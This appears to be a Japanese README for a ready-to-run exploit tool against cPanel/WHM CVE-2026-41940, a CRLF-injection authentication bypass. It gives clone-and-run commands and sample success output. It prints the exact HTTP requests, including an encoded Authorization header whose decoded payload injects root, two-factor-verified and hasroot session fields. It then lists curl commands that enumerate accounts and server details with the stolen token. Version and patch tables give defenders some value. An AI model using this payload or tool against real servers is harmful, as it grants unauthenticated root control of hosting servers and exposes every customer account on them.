
cPanel/WHM CVE-2026-41940 向けの重大な認証バイパスエクスプロイト。cpsrvd デーモンの CRLF インジェクションを悪用し、認証情報なしで root の WHM アクセスを取得します。バージョン検出、詳細ログ、プロキシサポート、JSON レポート、および侵害後のアカウント列挙を備えています。許可されたセキュリティテスト専用です。
cPanel/WHM cpsrvd デーモンにおけるCRLFインジェクションによる重大な認証バイパス
CVE-2026-41940 は、cPanel & WHM における重大な認証バイパス脆弱性であり、認証されていないリモート攻撃者がサーバーへのルートレベルの管理アクセスを取得できるようにします。この脆弱性は
cpsrvdデーモンのセッション処理、具体的にはCpanel/Session.pm内に存在し、whostmgrsessionCookie およびAuthorizationヘッダー内の行区切り文字(CRLF)の中和が不適切なため、セッションパラメータの注入が可能になります。
| CVSSスコア | エクスプロイト種別 | 影響 | 攻撃ベクトル |
|---|---|---|---|
| 9.8 | 認証バイパス | ルートアクセス | ネットワーク |
このエクスプロイトツールは、以下の主な機能を提供します:
🔓 認証バイパス - 認証情報なしでルートWHMアクセスを取得
🛡️ 複数のバイパス手法 - さまざまな検証方法を自動的に試行
🌐 プロキシサポート - HTTP/HTTPSプロキシ経由でトラフィックをルーティング
📊 JSONレポート - 詳細な評価レポートを生成
📝 包括的なロギング - タイムスタンプ付きの詳細デバッグモード
🔍 バージョン検出 - 脆弱なバージョンを自動的に検出・確認
👥 アカウント列挙 - エクスプロイト後にすべてのcPanelアカウントを一覧表示
🎯 複数のエンドポイント - 検証のためにさまざまなAPIエンドポイントを試行
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2026-41940 |
| CVSSスコア | 9.8(重大) |
| 脆弱性の種類 | CRLFインジェクションによる認証バイパス |
| 影響を受けるコンポーネント | cpsrvdデーモン(Cpanel/Session.pm) |
| 攻撃ベクトル | ネットワーク |
| 影響 | 完全なルートアクセス |
| 悪用条件 | 認証なしのリモート |
この脆弱性は、主に2つの問題に起因します:
セッションストレージにおけるCRLFインジェクション - saveSession 関数は、セッションファイルへの書き込み前に pass フィールド内の改行文字(\n)をサニタイズしないため、任意のセッションパラメータの注入が可能になります。
条件付きエンコーディングバイパス - セッションCookieに ob 部分(カンマ以降のセグメント)がない場合、pass 値はエンコードされずに(平文で)書き込まれるため、CRLFシーケンスの注入が可能になります。
| リリーストラック | 影響を受ける上限 | パッチ適用バージョン |
|---|---|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
| 引数 | 省略形 | 必須 | 説明 |
|---|---|---|---|
--target | -t | ✅ | ターゲットURL(例:https://target.com:2087) |
--verbose | -v | ❌ | 詳細/デバッグ出力を有効化 |
--proxy | -p | ❌ | プロキシURL(例:http://127.0.0.1:8080) |
--output | -o | ❌ | JSONレポートの出力ファイル |
--timeout | ❌ | リクエストタイムアウト(秒)(デフォルト: 10) | |
--list-accounts | -l | ❌ | エクスプロイト成功後にcPanelアカウントを一覧表示 |
--version | ❌ | エクスプロイトのバージョンを表示 |
このエクスプロイトはまず、失敗したログインを試みることで事前認証セッションCookieを取得します:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
レスポンス:
Set-Cookie: whostmgrsession=base64_encoded_data
細工されたAuthorizationヘッダーが悪意のあるセッションパラメータを注入します:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
デコードされたペイロード:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
サーバーは管理セッショントークンを含むリダイレクトで応答します:
Location: /cpsess1234567890/
エクスプロイトはルートアクセスを確認するために複数の検証方法を試みます。
エクスプロイトが成功したら、取得したトークンを使用して以下のコマンドを実行します:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"